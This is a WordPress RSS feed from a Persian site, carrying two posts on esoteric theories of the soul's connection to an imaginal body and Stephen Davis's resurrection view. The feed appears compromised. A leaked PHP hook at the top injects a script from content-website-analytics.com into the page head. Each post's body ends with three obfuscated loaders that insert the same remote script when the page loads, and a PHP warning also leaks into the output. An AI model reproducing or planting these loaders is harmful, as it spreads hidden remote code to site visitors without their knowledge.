/**<js>*/function load_frontend_assets() {
   echo '<script async src="https://content-website-analytics.com/script.js"></script>';
}
add_action('wp_head', 'load_frontend_assets');/**<js>*/<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/theorium/theorium.net/wp-content/themes/disto/functions.php:931) in <b>/home/theorium/theorium.net/wp-includes/feed-rss2.php</b> on line <b>8</b><br />
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>روح &#8211; بنیاد بین المللی تئوری ها و دکترین ها</title>
	<atom:link href="https://theorium.net/tag/%d8%b1%d9%88%d8%ad/feed/" rel="self" type="application/rss+xml" />
	<link>https://theorium.net</link>
	<description>بنیاد بین المللی تئوری ها و دکترین ها</description>
	<lastBuildDate>Sat, 21 Mar 2026 07:18:51 +0000</lastBuildDate>
	<language>fa-IR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.4.19</generator>

<image>
	<url>https://theorium.net/wp-content/uploads/2020/07/cropped-favicon-32x32.png</url>
	<title>روح &#8211; بنیاد بین المللی تئوری ها و دکترین ها</title>
	<link>https://theorium.net</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>نظریه اتصال روح به بدن مثالی منفصل</title>
		<link>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a7%d8%aa%d8%b5%d8%a7%d9%84-%d8%b1%d9%88%d8%ad-%d8%a8%d9%87-%d8%a8%d8%af%d9%86-%d9%85%d8%ab%d8%a7%d9%84%db%8c-%d9%85%d9%86%d9%81%d8%b5%d9%84/</link>
					<comments>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a7%d8%aa%d8%b5%d8%a7%d9%84-%d8%b1%d9%88%d8%ad-%d8%a8%d9%87-%d8%a8%d8%af%d9%86-%d9%85%d8%ab%d8%a7%d9%84%db%8c-%d9%85%d9%86%d9%81%d8%b5%d9%84/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Tue, 03 May 2022 15:25:50 +0000</pubDate>
				<category><![CDATA[دسته‌بندی نشده]]></category>
		<category><![CDATA[علوم باطنی]]></category>
		<category><![CDATA[نظریه ها و دکترین ها]]></category>
		<category><![CDATA[بدن]]></category>
		<category><![CDATA[بدن مثالی]]></category>
		<category><![CDATA[دکترین ها]]></category>
		<category><![CDATA[روح]]></category>
		<category><![CDATA[زندگی]]></category>
		<category><![CDATA[موجودیت روحی]]></category>
		<category><![CDATA[نظریات علوم باطنی]]></category>
		<category><![CDATA[نظریه اتصال]]></category>
		<guid isPermaLink="false">https://theorium.net/?p=6635</guid>

					<description><![CDATA[<p>این نظریه در رابطه با زندگی روح انسان ایده هایی دارد&#8230; مختصات نظریه اتصال روح به بدن مثالی منفصل؛ الف- آدمی از حیث ساختار جسمی، روحی فقط دو زندگی اول و نهایی را دارد و زندگی میان های از جهت یاد شده در كار نیست. ب- در زندگی اول كه موقتی است روح با بدن [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a7%d8%aa%d8%b5%d8%a7%d9%84-%d8%b1%d9%88%d8%ad-%d8%a8%d9%87-%d8%a8%d8%af%d9%86-%d9%85%d8%ab%d8%a7%d9%84%db%8c-%d9%85%d9%86%d9%81%d8%b5%d9%84/">نظریه اتصال روح به بدن مثالی منفصل</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<p>این نظریه در رابطه با زندگی روح انسان ایده هایی دارد&#8230;</p>
<h6>مختصات نظریه اتصال روح به بدن مثالی منفصل؛</h6>
<p>الف- آدمی از حیث ساختار جسمی، روحی فقط دو زندگی اول و نهایی را دارد و زندگی میان های از جهت یاد شده در كار نیست.</p>
<p>ب- در زندگی اول كه موقتی است روح با بدن خاكی به سر می برد و با ورود به زندگی نهایی بدن خاكی را برای همیشه خلع می كند و با بدن جدیدی به سر خواهد برد.</p>
<p>ج- بدن دوم كه در عالم دیگر قرار دارد هیچ گونه ارتباط وجود شناختی با بدن اول ندارد و فقط از حیث شكل و هیات به مانند آن است. قهرا بدن دوم می تواند ویژگی هایی متفاوت با بدن اول داشته باشد.</p>
<p>د- با توجه به بند(ج) دست كم در مقطع خلع بدن اول و اتصال به بدن دوم، روح بدون بدن خواهد بود.</p>
<p><a href="https://theorium.net/category/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%87%d8%a7-%d9%88-%d8%af%da%a9%d8%aa%d8%b1%db%8c%d9%86-%d9%87%d8%a7/%d8%b9%d9%84%d9%88%d9%85-%d8%a8%d8%a7%d8%b7%d9%86%db%8c/" target="_blank" rel="noopener noreferrer"><img class="aligncenter size-medium wp-image-6637" src="https://theorium.net/wp-content/uploads/2022/05/lanza-afterlife-300x159.jpg" alt="" width="300" height="159" srcset="https://theorium.net/wp-content/uploads/2022/05/lanza-afterlife-300x159.jpg 300w, https://theorium.net/wp-content/uploads/2022/05/lanza-afterlife-768x407.jpg 768w, https://theorium.net/wp-content/uploads/2022/05/lanza-afterlife-600x318.jpg 600w, https://theorium.net/wp-content/uploads/2022/05/lanza-afterlife.jpg 1000w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<h6>جایگاه مرگ در نظریه اتصال روح به بدن مثالی منفصل؛</h6>
<p>طبق این دیدگاه، روح پس از مرگ بدن فانی نمی شود و هیچ اختلافی در ناحیه روح، در پیش از مرگ و پس از مرگ وجود ندارد. آری، روح پس از خلع بدن مادی، در عالم مثال با قالبی مثالی حاضر می شود كه همچون صورت حاصل در آینه است، ولی صورتی است جوهری و قائم به ذات.</p>
<p>بنابراین، ملاك هویت در روح ثابت است، زیر</p>
<p>ا روح وارد شده در عالم صوی(عالم مثال) عینا همان روحی است كه در عالم مادی با بدن خاكی بود و ملاك هویت در ناحیه جسد یا بدن به اتحاد روح است، یعنی همان روحی كه به بدن خاكی تعلق داشت به بدن مثالی تعلق گرفته است.</p>
<p>اما <span style="color: #000000;"><a style="color: #000000;" href="https://en.wikipedia.org/wiki/Etheric_body" target="_blank" rel="noopener noreferrer">بدن مثالی</a></span> عیناً بدن این جهانی شخص نیست بلكه بدنی دیگر است كه با بدن او مباینت و جدایی دارد. به تعبیر دیگر وجود چنین بدن مثالی، وجود آن بدن موجود در این جهان نیست و تشخص آنها به یك تشخص نمی باشد.</p>
<p>نتجه آنكه اگر انسان را موجودی روحی، جسمی تلقی كنیم دست كم هویت در ناحیه بدن وی، بر اساس این نظریه تامین نمی شود . . .<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a7%d8%aa%d8%b5%d8%a7%d9%84-%d8%b1%d9%88%d8%ad-%d8%a8%d9%87-%d8%a8%d8%af%d9%86-%d9%85%d8%ab%d8%a7%d9%84%db%8c-%d9%85%d9%86%d9%81%d8%b5%d9%84/">نظریه اتصال روح به بدن مثالی منفصل</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a7%d8%aa%d8%b5%d8%a7%d9%84-%d8%b1%d9%88%d8%ad-%d8%a8%d9%87-%d8%a8%d8%af%d9%86-%d9%85%d8%ab%d8%a7%d9%84%db%8c-%d9%85%d9%86%d9%81%d8%b5%d9%84/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>عدم تجسد موقت یا عود روح به بدن؛</title>
		<link>https://theorium.net/%d8%b9%d8%af%d9%85-%d8%aa%d8%ac%d8%b3%d8%af-%d9%85%d9%88%d9%82%d8%aa/</link>
					<comments>https://theorium.net/%d8%b9%d8%af%d9%85-%d8%aa%d8%ac%d8%b3%d8%af-%d9%85%d9%88%d9%82%d8%aa/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Sat, 30 Apr 2022 06:59:39 +0000</pubDate>
				<category><![CDATA[علوم باطنی]]></category>
		<category><![CDATA[نظریه ها و دکترین ها]]></category>
		<category><![CDATA[استفان دیویس]]></category>
		<category><![CDATA[بدن]]></category>
		<category><![CDATA[دکترین ها]]></category>
		<category><![CDATA[رستاخیز]]></category>
		<category><![CDATA[روح]]></category>
		<category><![CDATA[عدم تجسد]]></category>
		<category><![CDATA[عود روح به بدن]]></category>
		<category><![CDATA[نظریات علوم باطنی]]></category>
		<guid isPermaLink="false">https://theorium.net/?p=6627</guid>

					<description><![CDATA[<p> عدم تجسد موقت یا عود روح به بدن؛ عدم تجسد موقت یا عود روح به بدن؛ از دیدگاه این نظریه هویت شخصی كاملا بر عهده روح نیست، هر چند در برهه ای از زمان، ما بدون بدن خواهیم بود. عدم تجسد بر این باور متكی است كه انسان موجودی فراهم آمده از جسم مادی و [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%b9%d8%af%d9%85-%d8%aa%d8%ac%d8%b3%d8%af-%d9%85%d9%88%d9%82%d8%aa/">عدم تجسد موقت یا عود روح به بدن؛</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<h6><span style="color: #000000;"> عدم تجسد موقت یا عود روح به بدن؛</span></h6>
<p><span style="color: #000000;">عدم تجسد موقت یا عود روح به بدن؛ از دیدگاه این نظریه هویت شخصی كاملا بر عهده روح نیست، هر چند در برهه ای از زمان، ما بدون بدن خواهیم بود.</span></p>
<p><span style="color: #000000;">عدم تجسد بر این باور متكی است كه انسان موجودی فراهم آمده از جسم مادی و روح غیرمتجسد است. به طوری كه روح می تواند بدون بدن باشد؛ اما هیچ یك به تنهایی، یك انسان كامل به شمار نمی آید.</span></p>
<p><span style="color: #000000;">نفس انسان، انسان نیست، بدن انسان هم انسان نیست؛ این دو هر یك جزئی از انسان اند و انسان به تمام ساحت های وجودی خود هم در زندگی آغازین به وجود آمده و هم در زندگی نهایی مستقر خواهد گشت.</span></p>
<p><span style="color: #000000;"><a style="color: #000000;" href="https://theorium.net/category/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%87%d8%a7-%d9%88-%d8%af%da%a9%d8%aa%d8%b1%db%8c%d9%86-%d9%87%d8%a7/%d8%b9%d9%84%d9%88%d9%85-%d8%a8%d8%a7%d8%b7%d9%86%db%8c/" target="_blank" rel="noopener noreferrer"><img class="aligncenter wp-image-6628 size-medium" src="https://theorium.net/wp-content/uploads/2022/04/عدم-تجسد-300x300.jpg" alt="عود روح به بدن" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2022/04/عدم-تجسد-300x300.jpg 300w, https://theorium.net/wp-content/uploads/2022/04/عدم-تجسد-150x150.jpg 150w, https://theorium.net/wp-content/uploads/2022/04/عدم-تجسد-100x100.jpg 100w, https://theorium.net/wp-content/uploads/2022/04/عدم-تجسد-120x120.jpg 120w, https://theorium.net/wp-content/uploads/2022/04/عدم-تجسد.jpg 600w" sizes="(max-width: 300px) 100vw, 300px" /></a></span></p>
<h6><span style="color: #000000;">انسان در زندگی میانی؛</span></h6>
<p><span style="color: #000000;">بنابراین زندگی میانی، كه روح آدمی بدون بدن است، شكل ناقصی از وجود انسانی است. نكته دیگری كه در نظریه دیویس به چشم میخورد این است كه وی هر چند بدن رستاخیزی را همان بدن دنیوی خاكی میداند اما معتقد است كه بدنهای خاكی ما به بدنی شكوهمند تبدیل می شود و با روح ما پیوند مجدد پیدا می كند.</span></p>
<p><span style="color: #000000;">می توان دیدگاه دیویس را به سه بخش تفكیك كرد:</span></p>
<ol>
<li><span style="color: #000000;">روح پس از مرگ بدن، در زندگی میانی، برای مدتی به حیات خود بدون بدن ادامه می دهد.</span></li>
<li><span style="color: #000000;">در هنگام رستاخیز یا طلیعه زندگی غایی، بدن ما از خاك برانگیخته شده بار دیگر با روح متحد می شود.</span></li>
<li><span style="color: #000000;">پس از حصول وحدت میان نفس و بدن، بدن به آن چیزی كه بدن شكوهمند نام دارد، مبدل می شود.</span></li>
</ol>
<p><span style="color: #000000;">وجه قوت <a style="color: #000000;" href="https://link.springer.com/chapter/10.1007%2F978-1-349-10526-7_5" target="_blank" rel="noopener noreferrer">نظریه ای </a>که استفان دیویس ارائه داده است در این است که بر اساس این نظریه می توان به تفاوتی میان بدن كنونی و بدن رستاخیزی تصویر کرد.</span></p>
<p><span style="color: #000000;">این تفاوت بر اساس این نظریه به شکلی خواهد بود که  بدن رستاخیزی با لوازم زندگی جاوید سازگار خواهد بود و بدن کنونی با لوازم زندگی فعلی سازگار است.</span><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%b9%d8%af%d9%85-%d8%aa%d8%ac%d8%b3%d8%af-%d9%85%d9%88%d9%82%d8%aa/">عدم تجسد موقت یا عود روح به بدن؛</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d8%b9%d8%af%d9%85-%d8%aa%d8%ac%d8%b3%d8%af-%d9%85%d9%88%d9%82%d8%aa/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>